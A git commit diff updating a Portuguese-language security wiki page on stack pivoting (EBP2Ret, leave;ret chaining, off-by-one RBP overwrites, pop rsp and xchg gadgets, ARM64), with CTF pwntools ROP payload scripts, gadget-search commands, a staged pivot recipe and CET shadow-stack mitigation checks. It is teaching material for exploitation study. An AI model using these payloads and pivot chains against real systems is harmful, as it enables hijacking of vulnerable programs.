Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r

This commit is contained in:
Translator 2025-08-18 16:16:27 +00:00
parent 389d0f90b4
commit 7ccc78024f

View File

@ -4,57 +4,61 @@
## Informações Básicas
Esta técnica explora a capacidade de manipular o **Base Pointer (EBP)** para encadear a execução de múltiplas funções através do uso cuidadoso do registrador EBP e da sequência de instruções **`leave; ret`**.
Esta técnica explora a capacidade de manipular o **Base Pointer (EBP/RBP)** para encadear a execução de múltiplas funções através do uso cuidadoso do ponteiro de quadro e da sequência de instruções **`leave; ret`**.
Como lembrete, **`leave`** basicamente significa:
Como lembrete, em x86/x86-64 **`leave`** é equivalente a:
```
mov ebp, esp
pop ebp
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
```
E como o **EBP está na pilha** antes do EIP, é possível controlá-lo controlando a pilha.
E como o **EBP/RBP salvo está na pilha** antes do EIP/RIP salvo, é possível controlá-lo controlando a pilha.
> Notas
> - No 64 bits, substitua EBP→RBP e ESP→RSP. A semântica é a mesma.
> - Alguns compiladores omitem o ponteiro de quadro (veja "EBP pode não ser usado"). Nesse caso, `leave` pode não aparecer e essa técnica não funcionará.
### EBP2Ret
Esta técnica é particularmente útil quando você pode **alterar o registrador EBP, mas não tem uma maneira direta de mudar o registrador EIP**. Ela aproveita o comportamento das funções quando terminam de executar.
Essa técnica é particularmente útil quando você pode **alterar o EBP/RBP salvo, mas não tem uma maneira direta de mudar o EIP/RIP**. Ela aproveita o comportamento do epílogo da função.
Se, durante a execução de `fvuln`, você conseguir injetar um **EBP falso** na pilha que aponte para uma área na memória onde o endereço do seu shellcode está localizado (mais 4 bytes para contabilizar a operação `pop`), você pode controlar indiretamente o EIP. Quando `fvuln` retorna, o ESP é definido para esta localização manipulada, e a operação `pop` subsequente diminui o ESP em 4, **fazendo efetivamente com que aponte para um endereço armazenado pelo atacante ali.**\
Note como você **precisa saber 2 endereços**: aquele para onde o ESP vai, onde você precisará escrever o endereço que é apontado pelo ESP.
Se, durante a execução de `fvuln`, você conseguir injetar um **EBP falso** na pilha que aponte para uma área na memória onde o endereço do seu shellcode/cadeia ROP está localizado (mais 8 bytes em amd64 / 4 bytes em x86 para contabilizar o `pop`), você pode controlar indiretamente o RIP. À medida que a função retorna, `leave` define RSP para o local criado e o subsequente `pop rbp` diminui RSP, **fazendo efetivamente apontar para um endereço armazenado pelo atacante ali**. Então `ret` usará esse endereço.
#### Construção do Exploit
Note como você **precisa saber 2 endereços**: o endereço para onde ESP/RSP vai, e o valor armazenado nesse endereço que `ret` consumirá.
Primeiro, você precisa saber um **endereço onde pode escrever dados / endereços arbitrários**. O ESP apontará aqui e **executará o primeiro `ret`**.
#### Construção de Exploit
Em seguida, você precisa saber o endereço usado pelo `ret` que irá **executar código arbitrário**. Você poderia usar:
Primeiro, você precisa saber um **endereço onde pode escrever dados/endereço arbitrários**. RSP apontará aqui e **consumirá o primeiro `ret`**.
- Um endereço válido de [**ONE_GADGET**](https://github.com/david942j/one_gadget).
- O endereço de **`system()`** seguido de **4 bytes de lixo** e o endereço de `"/bin/sh"` (x86 bits).
- O endereço de um gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido do **shellcode** a ser executado.
- Alguma cadeia [**ROP**](../rop-return-oriented-programing/index.html)
Em seguida, você precisa escolher o endereço usado por `ret` que **transferirá a execução**. Você poderia usar:
Lembre-se de que antes de qualquer um desses endereços na parte controlada da memória, deve haver **`4` bytes** por causa da parte **`pop`** da instrução `leave`. Seria possível abusar desses 4B para definir um **segundo EBP falso** e continuar controlando a execução.
- Um endereço válido [**ONE_GADGET**](https://github.com/david942j/one_gadget).
- O endereço de **`system()`** seguido pelo retorno e argumentos apropriados (em x86: `ret` alvo = `&system`, então 4 bytes de lixo, depois `&"/bin/sh"`).
- O endereço de um gadget **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido de shellcode inline.
- Uma cadeia [**ROP**](../rop-return-oriented-programing/index.html) em memória gravável.
Lembre-se de que antes de qualquer um desses endereços na área controlada, deve haver **espaço para o `pop ebp/rbp`** do `leave` (8B em amd64, 4B em x86). Você pode abusar desses bytes para definir um **segundo EBP falso** e manter o controle após a primeira chamada retornar.
#### Exploit Off-By-One
Há uma variante específica dessa técnica conhecida como "Exploit Off-By-One". É usada quando você pode **modificar apenas o byte menos significativo do EBP**. Nesse caso, a localização da memória que armazena o endereço para o qual pular com o **`ret`** deve compartilhar os três primeiros bytes com o EBP, permitindo uma manipulação semelhante com condições mais restritas.\
Geralmente, modifica-se o byte 0x00 para pular o mais longe possível.
Há uma variante usada quando você pode **apenas modificar o byte menos significativo do EBP/RBP salvo**. Nesse caso, a localização de memória que armazena o endereço para o qual pular com **`ret`** deve compartilhar os três/cinco primeiros bytes com o EBP/RBP original para que uma sobrescrita de 1 byte possa redirecioná-lo. Normalmente, o byte baixo (offset 0x00) é aumentado para pular o mais longe possível dentro de uma página/região alinhada próxima.
Além disso, é comum usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para aumentar a probabilidade de que o novo ESP aponte dentro do RET SLED e a cadeia ROP final seja executada.
É comum também usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para aumentar a probabilidade de que o novo RSP aponte dentro do sled e a cadeia ROP final seja executada.
### **Encadeamento de EBP**
### Encadeamento de EBP
Portanto, colocando um endereço controlado na entrada `EBP` da pilha e um endereço para `leave; ret` no `EIP`, é possível **mover o `ESP` para o endereço `EBP` controlado da pilha**.
Colocando um endereço controlado no slot `EBP` salvo da pilha e um gadget `leave; ret` em `EIP/RIP`, é possível **mover `ESP/RSP` para um endereço controlado pelo atacante**.
Agora, o **`ESP`** está controlado apontando para um endereço desejado e a próxima instrução a ser executada é um `RET`. Para abusar disso, é possível colocar no lugar controlado do ESP o seguinte:
Agora `RSP` está controlado e a próxima instrução é `ret`. Coloque na memória controlada algo como:
- **`&(próximo EBP falso)`** -> Carrega o novo EBP por causa do `pop ebp` da instrução `leave`
- **`system()`** -> Chamado pelo `ret`
- **`&(leave;ret)`** -> Chamado após o término do sistema, moverá o ESP para o EBP falso e começará novamente
- **`&("/bin/sh")`**-> Parâmetro para `system`
- `&(próximo EBP falso)` -> Carregado por `pop ebp/rbp` do `leave`.
- `&system()` -> Chamado por `ret`.
- `&(leave;ret)` -> Após `system` terminar, move RSP para o próximo EBP falso e continua.
- `&("/bin/sh")` -> Argumento para `system`.
Basicamente, dessa forma é possível encadear vários EBPs falsos para controlar o fluxo do programa.
Dessa forma, é possível encadear vários EBPs falsos para controlar o fluxo do programa.
Isso é como um [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), mas mais complexo, sem benefício aparente, mas pode ser interessante em alguns casos extremos.
Isso é como um [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), mas mais complexo e útil apenas em casos extremos.
Além disso, aqui você tem um [**exemplo de um desafio**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que usa essa técnica com um **leak de pilha** para chamar uma função vencedora. Este é o payload final da página:
```python
@ -72,7 +76,7 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
@ -81,23 +85,24 @@ POP_RSI_R15,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
> dica de alinhamento amd64: o System V ABI requer alinhamento de pilha de 16 bytes em locais de chamada. Se sua cadeia chamar funções como `system`, adicione um gadget de alinhamento (por exemplo, `ret`, ou `sub rsp, 8 ; ret`) antes da chamada para manter o alinhamento e evitar falhas de `movaps`.
## EBP pode não ser usado
Como [**explicado neste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se um binário é compilado com algumas otimizações, o **EBP nunca consegue controlar o ESP**, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem nenhum efeito real.\
Isso ocorre porque as **mudanças de prólogo e epílogo** se o binário estiver otimizado.
Como [**explicado neste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se um binário for compilado com algumas otimizações ou com omissão do ponteiro de quadro, o **EBP/RBP nunca controla ESP/RSP**. Portanto, qualquer exploit que funcione controlando EBP/RBP falhará porque o prólogo/epílogo não restaura a partir do ponteiro de quadro.
- **Não otimizado:**
- Não otimizado / ponteiro de quadro usado:
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **Otimizado:**
- Otimizado / ponteiro de quadro omitido:
```bash
push %ebx # save ebx
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
pop %ebx # restore
ret # return
```
No amd64, você frequentemente verá `pop rbp ; ret` em vez de `leave ; ret`, mas se o ponteiro de quadro for omitido completamente, então não há um epílogo baseado em `rbp` para pivotar.
## Outras maneiras de controlar RSP
### **`pop rsp`** gadget
### Gadget `pop rsp`
[**Nesta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) você pode encontrar um exemplo usando esta técnica. Para este desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um **`pop rsp` gadget** e há um **leak da pilha**:
[**Nesta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) você pode encontrar um exemplo usando esta técnica. Para esse desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um **gadget `pop rsp`** e há um **leak da pilha**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -167,7 +174,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
### xchg <reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
@ -181,22 +188,69 @@ Verifique a técnica ret2esp aqui:
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## Referências & Outros Exemplos
### Encontrando gadgets de pivot rapidamente
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, exploração off by one com uma cadeia rop começando com um ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bits, sem relro, canário, nx e pie. O programa concede um leak para stack ou pie e um WWW de um qword. Primeiro obtenha o leak da stack e use o WWW para voltar e obter o leak do pie. Em seguida, use o WWW para criar um loop eterno abusando das entradas de `.fini_array` + chamando `__libc_csu_fini` ([mais informações aqui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando dessa escrita "eterna", uma cadeia ROP é escrita na .bss e acaba chamando-a pivotando com RBP.
Use seu buscador de gadgets favorito para procurar por primitivos de pivot clássicos:
- `leave ; ret` em funções ou em bibliotecas
- `pop rsp` / `xchg rax, rsp ; ret`
- `add rsp, <imm> ; ret` (ou `add esp, <imm> ; ret` em x86)
Exemplos:
```bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
```
### Padrão clássico de staging de pivot
Uma estratégia de pivot robusta usada em muitos CTFs/exploits:
1) Use um pequeno overflow inicial para chamar `read`/`recv` em uma grande região gravável (por exemplo, `.bss`, heap ou memória RW mapeada) e coloque uma cadeia ROP completa lá.
2) Retorne para um gadget de pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) para mover RSP para essa região.
3) Continue com a cadeia em estágio (por exemplo, vaze libc, chame `mprotect`, depois `read` shellcode, e então salte para ele).
## Mitigações modernas que quebram o pivot de pilha (CET/Shadow Stack)
CPUs e sistemas operacionais x86 modernos estão cada vez mais implementando **CET Shadow Stack (SHSTK)**. Com SHSTK habilitado, `ret` compara o endereço de retorno na pilha normal com uma pilha sombra protegida por hardware; qualquer discrepância gera uma falha de Controle-Protetor e encerra o processo. Portanto, técnicas como pivôs baseados em EBP2Ret/leave;ret irão falhar assim que o primeiro `ret` for executado de uma pilha pivotada.
- Para mais informações e detalhes mais profundos, veja:
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
- Verificações rápidas no Linux:
```bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
```
- Notas para labs/CTF:
- Algumas distribuições modernas ativam o SHSTK para binários habilitados para CET quando há suporte de hardware e glibc. Para testes controlados em VMs, o SHSTK pode ser desativado em todo o sistema via o parâmetro de inicialização do kernel `nousershstk`, ou habilitado seletivamente via tunáveis do glibc durante a inicialização (veja referências). Não desative as mitig ações em alvos de produção.
- Técnicas baseadas em JOP/COOP ou SROP ainda podem ser viáveis em alguns alvos, mas o SHSTK quebra especificamente os pivôs baseados em `ret`.
- Nota do Windows: O Windows 10+ expõe o modo de usuário e o Windows 11 adiciona a “Proteção de Pilha Forçada por Hardware” em modo kernel, construída sobre pilhas sombra. Processos compatíveis com CET impedem o pivotamento de pilha/ROP em `ret`; os desenvolvedores optam por isso via CETCOMPAT e políticas relacionadas (veja referência).
## ARM64
No ARM64, os **prologues e epilogues** das funções **não armazenam e recuperam o registro SP** na pilha. Além disso, a instrução **`RET`** não retorna ao endereço apontado pelo SP, mas **para o endereço dentro de `x30`**.
No ARM64, o **prólogo e epílogo** das funções **não armazenam e recuperam o registrador SP** na pilha. Além disso, a instrução **`RET`** não retorna ao endereço apontado pelo SP, mas **para o endereço dentro de `x30`**.
Portanto, por padrão, apenas abusando do epílogo você **não conseguirá controlar o registro SP** sobrescrevendo alguns dados dentro da pilha. E mesmo que você consiga controlar o SP, ainda precisaria de uma maneira de **controlar o registro `x30`**.
Portanto, por padrão, apenas abusando do epílogo você **não conseguirá controlar o registrador SP** sobrescrevendo alguns dados dentro da pilha. E mesmo que você consiga controlar o SP, ainda precisaria de uma maneira de **controlar o registrador `x30`**.
- prologue
- prólogo
```armasm
sub sp, sp, 16
@ -204,7 +258,7 @@ stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP aponta para o registro de quadro
```
- epilogue
- epílogo
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
@ -213,7 +267,7 @@ ret
```
> [!CAUTION]
> A maneira de realizar algo semelhante ao stack pivoting no ARM64 seria ser capaz de **controlar o `SP`** (controlando algum registro cujo valor é passado para `SP` ou porque por algum motivo `SP` está pegando seu endereço da pilha e temos um overflow) e então **abusar do epílogo** para carregar o registro **`x30`** de um **`SP`** **controlado** e **`RET`** para ele.
> A maneira de realizar algo semelhante ao pivotamento de pilha no ARM64 seria ser capaz de **controlar o `SP`** (controlando algum registrador cujo valor é passado para `SP` ou porque, por algum motivo, `SP` está pegando seu endereço da pilha e temos um estouro) e então **abusar do epílogo** para carregar o registrador **`x30`** de um **`SP`** controlado e **`RET`** para ele.
Também na página seguinte você pode ver o equivalente de **Ret2esp no ARM64**:
@ -221,4 +275,15 @@ Também na página seguinte você pode ver o equivalente de **Ret2esp no ARM64**
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## Referências
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, exploração off by one com uma cadeia rop começando com um ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bits, sem relro, canário, nx e pie. O programa concede um leak para pilha ou pie e um WWW de um qword. Primeiro obtenha o leak da pilha e use o WWW para voltar e obter o leak do pie. Em seguida, use o WWW para criar um loop eterno abusando das entradas de `.fini_array` + chamando `__libc_csu_fini` ([mais informações aqui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando dessa escrita "eterna", uma cadeia ROP é escrita na .bss e acaba chamando-a pivotando com RBP.
- Documentação do kernel Linux: Tecnologia de Aplicação de Controle de Fluxo (CET) Shadow Stack — detalhes sobre SHSTK, `nousershstk`, flags de `/proc/$PID/status`, e habilitação via `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: Proteção de Pilha Forçada por Hardware em Modo Kernel (pilhas sombra CET no Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}}